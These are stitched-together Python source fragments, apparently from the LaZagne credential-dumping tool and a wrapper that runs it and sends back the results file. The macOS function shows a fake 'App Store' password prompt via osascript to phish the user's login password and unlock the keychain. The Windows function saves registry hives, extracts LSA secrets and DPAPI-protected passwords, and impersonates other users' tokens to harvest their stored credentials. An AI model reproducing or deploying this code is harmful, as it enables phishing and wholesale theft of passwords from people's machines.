def run_lazagne(category_selected='all', subcategories={}, password=None, interactive=False): """ Main function """ if password: constant.user_password = password if not constant.st: constant.st = StandardOutput() user = getpass.getuser() constant.finalResults = {'User': user} # Could be easily changed application = 'App Store' i = 0 while True: # Run all modules for r in run_modules(category_selected, subcategories): yield r # Execute once if not interactive, # Otherwise print the dialog box until the user keychain is unlocked (so the user password has been found) if not interactive or (interactive and constant.user_keychain_find): break elif interactive and not constant.user_keychain_find: msg = '' if i == 0: msg = 'App Store requires your password to continue.' else: msg = 'Password incorrect! Please try again.' # Code inspired from: https://github.com/fuzzynop/FiveOnceInYourLife cmd = 'osascript -e \'tell app "{application}" to activate\' -e \'tell app "{application}" ' \ 'to activate\' -e \'tell app "{application}" to display dialog "{msg}" & return & ' \ 'return default answer "" with icon 1 with hidden answer with title "{application} Alert"\''.format( application=application, msg=msg ) pwd = run_cmd(cmd) if pwd.split(':')[1].startswith('OK'): constant.user_password = pwd.split(':')[2].strip() i += 1 # If the user enter 10 bad password, be nice with him and break the loop if i > 10: break # If keychains has been decrypted, launch again some module chrome_key = get_safe_storage_key('Chrome Safe Storage') if chrome_key: for r in run_module({'chrome': Chrome(safe_storage_key=chrome_key)}, subcategories): yield r constant.stdout_result.append(constant.finalResults)
def run_lazagne(category_selected='all', subcategories={}): """ Main function """ if not constant.st: constant.st = StandardOutput() user = getpass.getuser() constant.finalResults = {'User': user} for r in run_modules(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults)
def password_dump(self, password=None): with tempfile.TemporaryDirectory() as tmp: constant.st = StandardOutput() out = StringIO() constant.output = 'txt' constant.folder_name = tmp level = logging.getLogger(LOGGER_ID).level if level == logging.DEBUG: constant.quiet_mode = False else: constant.quiet_mode = True formatter = logging.Formatter(fmt='%(message)s') stream = logging.StreamHandler(out) stream.setFormatter(formatter) root = logging.getLogger(__name__) root.setLevel(level) for r in root.handlers: r.setLevel(logging.CRITICAL) root.addHandler(stream) constant.st.first_title() if platforms.OS in [platforms.WINDOWS, platforms.DARWIN]: constant.user_password = password for _ in run_lazagne(category_selected="all", subcategories={password: password}, password=password): pass else: for _ in run_lazagne(category_selected="all", subcategories={}): pass write_in_file(constant.stdout_result) # find file in the tmp dir and send it for it in os.scandir(tmp): if not it.is_dir() and it.path.endswith(".txt"): self.receive(it.path) return self.es.send_json(ERROR, "Error getting results file.")
import json from lazagne.config.write_output import write_in_file, StandardOutput from lazagne.config.manage_modules import get_categories from lazagne.config.constant import constant from lazagne.config.run import run_lazagne, create_module_dic ############################################################################## # # # By Alessandro ZANNI # # # ############################################################################## # Disclaimer: Do Not Use this program for illegal purposes ;) constant.st = StandardOutput() # Object used to manage the output / write functions (cf write_output file) modules = create_module_dic() def output(output_dir=None, txt_format=False, json_format=False, all_format=False): if output_dir: if os.path.isdir(output_dir): constant.folder_name = output_dir else: print('[!] Specify a directory, not a file !') if txt_format: constant.output = 'txt' if json_format: constant.output = 'json'
import json import sys import os import traceback import argparse import logging import getpass from lazagne.config.write_output import parse_json_result_to_buffer, print_debug, StandardOutput from lazagne.config.manage_modules import get_categories, get_modules from lazagne.config.constant import * import time # Object used to manage the output / write functions (cf write_output file) constant.st = StandardOutput() # Tab containing all passwords stdoutRes = [] modules = {} # Define a dictionary for all modules for c in get_categories(): modules[c] = {} # Add all modules to the dictionary for m in get_modules(): modules[m.category][m.options['dest']] = m def output():
def run_lazagne(category_selected='all', subcategories={}, password=None): """ Execution Workflow: - If admin: - Execute system modules to retrieve LSA Secrets and user passwords if possible - These secret could be useful for further decryption (e.g Wifi) - If a process of another user is launched try to impersone it (impersonating his token) - TO DO: if hashdump retrieved other local account, launch a new process using psexec techniques - From our user: - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) - Retrieve all passwords using Windows API - CryptUnprotectData (Chrome, etc.) - If the user password or the dpapi hash is found: - Retrieve all passowrds from an encrypted blob (Credentials files, Vaults, etc.) - From all users found on the filesystem (e.g C:\\Users) - Need admin privilege: - Retrieve all passwords using their own password storage algorithm (Firefox, Pidgin, etc.) - If the user password or the dpapi hash is found: - Retrieve all passowrds from an encrypted blob (Chrome, Credentials files, Vaults, etc.) To resume: - Some passwords (e.g Firefox) could be retrieved from any other user - CryptUnprotectData can be called only from our current session - DPAPI Blob can decrypted only if we have the password or the hash of the user """ # Useful if this function is called from another tool if password: constant.user_password = password if not constant.st: constant.st = StandardOutput() # --------- Execute System modules --------- if ctypes.windll.shell32.IsUserAnAdmin() != 0: if save_hives(): # System modules (hashdump, lsa secrets, etc.) constant.username = '******' constant.finalResults = {'User': constant.username} constant.system_dpapi = SystemDpapi() if logging.getLogger().isEnabledFor(logging.INFO): constant.st.print_user(constant.username) yield 'User', constant.username try: for r in run_category(category_selected, subcategories, system_module=True): yield r except: # Catch all kind of exceptions pass finally: delete_hives() constant.stdout_result.append(constant.finalResults) # ------ Part used for user impersonation ------ constant.is_current_user = True constant.username = get_username_winapi() if not constant.username.endswith('$'): constant.finalResults = {'User': constant.username} constant.st.print_user(constant.username) yield 'User', constant.username set_env_variables(user=constant.username) for r in run_category(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults) # Check if admin to impersonate if ctypes.windll.shell32.IsUserAnAdmin() != 0: # --------- Impersonation using tokens --------- sids = list_sids() impersonate_users = {} impersonated_user = [constant.username] for sid in sids: # Not save the current user's SIDs and not impersonate system user if constant.username != sid[3] and sid[2] != 'S-1-5-18': impersonate_users.setdefault(sid[3], []).append(sid[2]) for user in impersonate_users: if 'service' in user.lower().strip(): continue # Do not impersonate the same user twice if user in impersonated_user: continue constant.st.print_user(user) yield 'User', user constant.finalResults = {'User': user} for sid in impersonate_users[user]: try: set_env_variables(user, to_impersonate=True) if impersonate_sid_long_handle(sid, close=False): impersonated_user.append(user) # Launch module wanted for r in run_category(category_selected, subcategories): yield r rev2self() constant.stdout_result.append(constant.finalResults) break except Exception: print_debug('DEBUG', traceback.format_exc()) # --------- Impersonation browsing file system --------- constant.is_current_user = False # Ready to check for all users remaining all_users = get_user_list_on_filesystem( impersonated_user=[constant.username]) for user in all_users: # Fix value by default for user environment (APPDATA and USERPROFILE) set_env_variables(user, to_impersonate=True) constant.st.print_user(user) constant.username = user constant.finalResults = {'User': user} yield 'User', user # Retrieve passwords that need high privileges for r in run_category(category_selected, subcategories): yield r constant.stdout_result.append(constant.finalResults)